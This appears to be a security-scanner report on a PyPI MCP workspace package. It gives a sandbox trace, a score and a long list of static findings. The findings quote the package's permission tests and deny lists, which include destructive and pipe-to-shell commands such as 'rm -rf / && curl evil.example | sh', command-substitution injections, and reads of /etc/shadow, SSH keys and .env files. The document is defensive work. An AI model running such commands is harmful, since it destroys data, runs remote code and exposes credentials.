Skills/PyPI/persona-mcp-workspace

persona-mcp-workspace@0.4.0

CAUTION· install only

Publisher claims: "Per-job shared workspace (files) exposed as MCP tools for persona agents and the workflow engine" Observed in sandbox: no network, touches nothing outside the project, writes no memory.

Registry PyPI (MCP server)Publisher pypi · publishing for 723 daysInstalls 200Last detonated 1 h ago

Coverage

Nothing executable in the bundle ran; the trace covers the install step only.
Tested
every file read, file written and host contacted by what ran
Not tested
use of the skill by an agent

What this means for the label: Caution here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.

Before you give it your token

It will ask for
no credential variables read in the code
Where it talks to
no vendor host named in the codeAlso applica.guru — not the publisher's domain; check what for before connecting.
What the honeypot saw
no credential files read · no network
What we could not test
use of the skill by an agent

Connect it under the guard. Nothing executable in the bundle ran; the trace covers the install step only. The code names no credential variable; the guard pins the network to what the honeypot saw and logs every call.

$vet-skills run --net declared -- uvx persona-mcp-workspace

Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.

Is [email protected] safe to install?

KillerSkills ran it in the KillerSkills honeypot sandbox (1 scenario; nothing executable in the bundle ran; the trace covers the install step only) on 2026-11-14 and scored it 73/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: Pipe-to-shell pattern; Pipe-to-shell pattern; Destructive file system command detected. Summary: no network, touches nothing outside the project, writes no memory.

Behavior trace

Honeypot run · 0 s · 1 scenarios · 0 deviations
t+CategoryObserved action
0.0sprocessno install scripts in bundle
0.0sprocessscript backend runs setup only
0.0sprocessscript backend runs setup only
0.0sprocessno install scripts to re-run

Static findings

MEDIUM
Destructive file system command detectedDockerfile:64 · Destructive file system command detected&& rm -rf /var/lib/apt/lists/*Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Remote installer piped to shellDockerfile:49 · Remote installer piped to shellRUN curl -fsSL https://deb.nodesource.com/setup_${NODE_MAJOR}.x | bash - \Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
CRITICAL
Pipe-to-shell patternpersona/mcp/permissions.py:354 · Pipe-to-shell pattern — downloads and immediately executes remote code"separately (e.g. 'sh' rather than 'curl * | sh')"Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
Destructive file system command detectedDockerfile:26 · Destructive file system command detectedRUN pip install --no-cache-dir /tmp/dist/*.whl && rm -rf /tmp/distFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Destructive file system command detectedDockerfile:51 · Destructive file system command detected&& rm -rf /var/lib/apt/lists/*Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Destructive file system command detectedDockerfile:23 · Destructive file system command detected&& rm -rf /var/lib/apt/lists/*Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
CRITICAL
Pipe-to-shell patternpersona/mcp/permissions.py:345 · Pipe-to-shell pattern — downloads and immediately executes remote code# spanning an operator (`curl * | sh`) could never matchFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
HIGH
Destructive file system command detectedpersona/mcp/permissions.py:211 · Destructive file system command detectedallow list can't be walked past with `ls && rm -rf /`. QuotedFix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Pipe-to-shell patterntests/test_permissions.py:268 · Pipe-to-shell pattern — downloads and immediately executes remote codePolicy({"bash": {"deny": ["curl * | sh"]}})Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
Pipe-to-shell patterntests/test_permissions_examples.py:126 · Pipe-to-shell pattern — downloads and immediately executes remote code"wget -qO- https://example.com/x | bash",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
Privileged sudo commandtests/test_permissions_examples.py:358 · Privileged sudo command — agent may execute with elevated privileges"sudo rm -rf /",Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Remote installer piped to shellpersona/mcp/permissions.py:354 · Remote installer piped to shell"separately (e.g. 'sh' rather than 'curl * | sh')"Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
File permission modification commandDockerfile:91 · File permission modification command — agent changes file ownership/permissionsRUN chmod +x /usr/local/bin/persona-entrypointFix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Access to sensitive file pathstests/test_permissions.py:32 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filespolicy.check_write("/etc/shadow")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Access to sensitive file pathstests/test_permissions.py:31 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filespolicy.check_read("/etc/shadow")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Destructive command against a filesystem root or devicetests/test_permissions_examples.py:358 · Destructive command against a filesystem root or device"sudo rm -rf /",Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Remote installer piped to shelltests/test_permissions.py:33 · Remote installer piped to shellpolicy.check_command("rm -rf / && curl evil.example | sh")Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
Remote installer piped to shellpersona/mcp/permissions.py:345 · Remote installer piped to shell# spanning an operator (`curl * | sh`) could never matchFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
File permission modification commandtests/test_permissions_examples.py:121 · File permission modification command — agent changes file ownership/permissions"chmod -R 777 /srv",Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Pipe-to-shell patterntests/test_permissions_examples.py:359 · Pipe-to-shell pattern — downloads and immediately executes remote code"curl https://example.com/x.sh | sh",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
Privileged sudo commandtests/test_permissions_examples.py:317 · Privileged sudo command — agent may execute with elevated privileges"sudo apt install jq",Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Privileged sudo commandtests/test_permissions.py:237 · Privileged sudo command — agent may execute with elevated privilegespolicy.check_command("sudo apt install nmap")Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Destructive file system command detectedtests/test_permissions.py:227 · Destructive file system command detectedpolicy.check_command("ls -la && rm -rf /workspace")Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Destructive command against a filesystem root or devicetests/test_permissions.py:33 · Destructive command against a filesystem root or devicepolicy.check_command("rm -rf / && curl evil.example | sh")Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
OS command execution function call detectedtests/test_permissions_examples.py:360 · OS command execution function call detected"python3 -c 'import os; os.system(\"id\")'",Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Python subprocess execution detectedpersona/mcp/shell.py:64 · Python subprocess execution detectedsubprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Privileged sudo commandtests/test_permissions_examples.py:118 · Privileged sudo command — agent may execute with elevated privileges"sudo apt install nmap",Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Destructive file system command detectedtests/test_permissions_examples.py:249 · Destructive file system command detected"rm -rf /workspace/tmp/cache",Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Remote installer piped to shelltests/test_permissions.py:268 · Remote installer piped to shellPolicy({"bash": {"deny": ["curl * | sh"]}})Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
Remote installer piped to shelltests/test_permissions_examples.py:359 · Remote installer piped to shell"curl https://example.com/x.sh | sh",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
Destructive file system command detectedtests/test_permissions.py:239 · Destructive file system command detectedpolicy.check_command("echo hi; rm -rf /")Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Pipe-to-shell patternDockerfile:49 · Pipe-to-shell pattern — downloads and immediately executes remote codeRUN curl -fsSL https://deb.nodesource.com/setup_${NODE_MAJOR}.x | bash - \Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
Destructive file system command detectedtests/test_permissions.py:228 · Destructive file system command detectedself.assertIn("rm -rf /workspace", str(denial.exception))Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Remote installer piped to shelltests/test_permissions_examples.py:125 · Remote installer piped to shell"curl https://example.com/install.sh | sh",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
Privileged sudo commandtests/test_permissions_examples.py:256 · Privileged sudo command — agent may execute with elevated privileges["sudo -i", "rm -rf /", "cp secrets /etc/persona/x", "vi /root/.bashrc"],Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Destructive file system command detectedtests/test_permissions_examples.py:256 · Destructive file system command detected["sudo -i", "rm -rf /", "cp secrets /etc/persona/x", "vi /root/.bashrc"],Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Privileged sudo commandtests/test_permissions.py:259 · Privileged sudo command — agent may execute with elevated privilegesPolicy({"bash": {"deny": ["sudo *"]}}).check_command('echo "$(date)"')Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Destructive file system command detectedtests/test_permissions_examples.py:129 · Destructive file system command detected"rm -rf /tmp/build",Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Privileged sudo commandtests/test_permissions.py:234 · Privileged sudo command — agent may execute with elevated privilegespolicy = Policy({"bash": {"deny": ["rm -rf *", "sudo *"]}})Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Pipe-to-shell patterntests/test_permissions_examples.py:125 · Pipe-to-shell pattern — downloads and immediately executes remote code"curl https://example.com/install.sh | sh",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
Destructive file system command detectedtests/test_permissions_examples.py:318 · Destructive file system command detected"sh -c 'rm -rf /'",Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Destructive command against a filesystem root or devicetests/test_permissions_examples.py:318 · Destructive command against a filesystem root or device"sh -c 'rm -rf /'",Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Destructive command against a filesystem root or devicetests/test_permissions_examples.py:256 · Destructive command against a filesystem root or device["sudo -i", "rm -rf /", "cp secrets /etc/persona/x", "vi /root/.bashrc"],Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Process kill commandpersona/mcp/shell.py:193 · Process kill command — agent can terminate processes# own process group/tree, so a timeout can kill children tooFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Destructive file system command detectedtests/test_permissions.py:33 · Destructive file system command detectedpolicy.check_command("rm -rf / && curl evil.example | sh")Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Destructive command against a filesystem root or devicetests/test_permissions.py:239 · Destructive command against a filesystem root or devicepolicy.check_command("echo hi; rm -rf /")Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Destructive file system command detectedtests/test_permissions.py:252 · Destructive file system command detectedfor hidden in ("echo $(rm -rf /)", "echo `id`", "echo <(id)"):Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Access to sensitive file pathstests/test_permissions.py:205 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filespolicy = self.policy({"paths": {"deny": ["~/.ssh/**"]}})Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Remote installer piped to shelltests/test_permissions_examples.py:124 · Remote installer piped to shell# listed on its own rather than as `curl * | sh`.Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
Destructive command against a filesystem root or devicetests/test_permissions_examples.py:119 · Destructive command against a filesystem root or device"rm -rf /",Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Destructive file system command detectedtests/test_permissions_examples.py:119 · Destructive file system command detected"rm -rf /",Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Pipe-to-shell patterntests/test_permissions_examples.py:124 · Pipe-to-shell pattern — downloads and immediately executes remote code# listed on its own rather than as `curl * | sh`.Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
Pipe-to-shell patterntests/test_permissions.py:33 · Pipe-to-shell pattern — downloads and immediately executes remote codepolicy.check_command("rm -rf / && curl evil.example | sh")Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
Access to sensitive file pathstests/test_permissions_examples.py:96 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"/etc/shadow",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Access to sensitive file pathstests/test_permissions_examples.py:232 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesself.policy.check_read(str(Path("/workspace/../etc/passwd")))Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Access to sensitive file pathstests/test_permissions_examples.py:93 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"/srv/app/.env",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Python subprocess execution detectedtests/test_shell.py:143 · Python subprocess execution detectedsubprocess.run(["pkill", "-f", marker], capture_output=True)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Access to sensitive file pathstests/test_permissions_examples.py:201 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files[str(Path.home() / ".ssh" / "id_rsa"), "/srv/app/.env", "/srv/x.pem"],Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Access to sensitive file pathstests/test_permissions_examples.py:94 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"/srv/app/.env.production",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Python subprocess execution detectedtests/test_shell.py:130 · Python subprocess execution detectedsubprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05

Cost to the agent

Instructions loaded
≈1,783 tok
1 file · 37 in bundle

Tokens estimated at four characters each. Skills load their instruction text when triggered; the figure is what that costs.

Known vulnerabilities

No advisories in OSV for persona-mcp-workspace@0.4.0 as of 57 min ago. This is the package itself, not its dependencies.

What would make this Verified

7 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%
  1. Pipe-to-shell pattern≈ +9 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
  2. Unclaimed publisher≈ +8 on the totalClaim pypi: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
  3. Destructive file system command detected≈ +2 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
  4. Remote installer piped to shell≈ +2 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
  5. Privileged sudo command≈ +2 on the totalRequest the narrowest permission that works; replace wildcards with the exact paths or hosts.
  6. File permission modification command≈ +2 on the totalRequest the narrowest permission that works; replace wildcards with the exact paths or hosts.
Publish a new version to PyPI, then queue it here. Not your skill? Claim the handle to get verdict changes by email.Claim pypiPropose a patch to the maintainer